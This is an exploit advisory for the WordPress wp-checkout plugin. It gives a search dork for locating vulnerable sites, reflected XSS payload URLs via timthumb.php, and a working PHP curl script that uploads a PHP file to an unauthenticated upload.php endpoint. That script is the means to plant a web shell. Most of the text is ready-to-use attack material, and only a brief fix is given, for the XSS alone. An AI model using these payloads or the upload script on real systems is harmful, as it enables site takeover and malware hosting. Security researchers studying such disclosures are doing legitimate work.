Wordpress Plugin Wp-checkout Multiple Vulnerabilitie

#- Title : Wordpress Plugin wp-checkout XSS & Arbitrary File Upload

#- Author : DevilScreaM & Gastro-dz

#- Vendor : wordpress.org/extend/plugins/wordpress-checkout/

#- Date : 09/21/2015

#- Category : Web Applications

#- Type : PHP

#- Vulnerabillity : Arbitrary File Upload, XSS

#- Dork : inurl:wp-content/plugins/wp-checkout

#- Tested on : Vivid Vervet

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Proof Of Concept :

[ Cross Site Scripting ] Discover by DevilScreaM

http://site-target/wp-content/plugins/wp-checkout/vendors/timthumb.php?src=[XSS]

Example :

http://Site.com/wp-content/plugins/wp-checkout/vendors/timthumb.php?src=<h1>3xploi7</h1>

http://site.net/wp-content/plugins/wp-checkout/vendors/timthumb.php?src=<h1>3xploi7</h1>

Solution :

Upgrade Version of Timthumb or Delete Files timthumb.php

----------------------------------------------------------------------------

[ Arbitrary File Upload ] Discover by DevilScreaM

Vulnerability :

http://site.com/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php ( Discover by DevilScreaM)

<?php

$uploadfile="3xploi7.php";

$ch = curl_init("http://site-target/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile",

'folder'=>'/wp-content/uploads/wp-checkout/'));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

Result : Here